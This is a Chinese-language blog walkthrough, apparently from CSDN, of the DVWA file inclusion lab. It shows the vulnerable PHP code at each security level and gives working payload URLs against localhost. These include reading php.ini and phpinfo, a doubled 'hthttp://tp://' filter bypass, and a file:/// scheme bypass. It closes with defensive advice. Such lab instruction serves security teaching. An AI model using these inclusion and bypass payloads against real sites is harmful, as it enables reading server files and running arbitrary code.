DVWA-File Inclusion(文件包含)

简介

1.文件包含

开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含;

2. 文件包含漏洞

开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞;在PHP中经常出现文件包含漏洞;

3.php中引发文件包含漏洞的通常是以下四个函数

include():找不到被包含文件,报错,但会继续运行脚本

include_once():与include()类似,区别在于,当重复调用同一文件时,程序只调用一次;

require():找不到被包含文件,报错,并且停止运行脚本;

require_once():与require类似,区别在于,当重复调用同一文件时,程序只调用一次;

4.文件包含的分类

本地文件包含:可以包含本地文件,在条件允许时甚至能执行代码

读敏感文件,读PHP文件;
上传一句话木马或图片木马,然后进行包含,从而	GetShell;
包含/proc/self/envion文件GetShell
若有phpinfo则可以包含临时文件

远程文件包含:可以直接执行任意代码

要保证php.ini中allow_url_fopen和allow_url_include要为	On

5.危害

  • 执行任意代码
  • 读取文件源码或敏感信息
  • 包含恶意文件控制网站,甚至控制服务器

6.开启本地包含

如果显示如下页面,不能进行文件包含
在这里插入图片描述
开启文件包含
在这里插入图片描述
在这里插入图片描述
然后重启apache

安全级别:Low

源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

在这里插入图片描述

源码分析

服务器端对page参数没有做任何的过滤跟检查

注:服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行;

本地文件包含

构造url,查看php的配置文件

127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/fi/?page=D:\phpStudy\PHPTutorial\WWW\DVWA-master\DVWA-master\php.ini

在这里插入图片描述
构造url,查看phpinfo.php

127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/fi/?page=D:\phpStudy\PHPTutorial\WWW\DVWA-master\DVWA-master\phpinfo.php
在这里插入图片描述
查看1.txt(在目标服务器上写个1.txt文件,查看是执行还是打印内容)

1.txt内的内容是

<?php
 phpinfo(); 
?>

在这里插入图片描述
在这里插入图片描述

当服务器包含文件时,不论文件是否是PHP文件,都会尝试当做PHP文件执行,如文件内容是PHP的代码,则直接执行PHP代码并返回结果,若不是,则直接打印文件内容。

远程文件包含

127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php

在这里插入图片描述

当输入目标主机IP地址时,直接进入目标主机的WWW目录下;

安全级别:Medium

查看源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?> 

在这里插入图片描述
使用双写hthttp://tp://嵌套方式绕过

http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/phpinfo.php

在这里插入图片描述

安全级别:High

查看源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

源码分析

使用fnmatch函数检查page参数,要求page参数必须以file开头,且不等于include.php

可以使用file:///方式绕过;

127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/fi/?page=file:///D:/phpStudy/PHPTutorial/WWW/phpinfo.php

在这里插入图片描述

安全级别:Impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

Impossible级别中,page参数只能是如上四种,include.php,file1.php,file2.php,file3.php;杜绝了文件包含漏洞;

防护总结:

  • 设置白名单(文件名可以确定)
  • 过滤危险字符(判断文件名称是否为合法的php文件)
  • 设置文件目录(对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir)
  • 关闭危险配置(无需情况下设置allow_url_include和allow_url_fopen为关闭)
  • 严格检查include类的文件包含函数中的参数是否外界可控。

参考

DDao_blog
橘子女侠

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值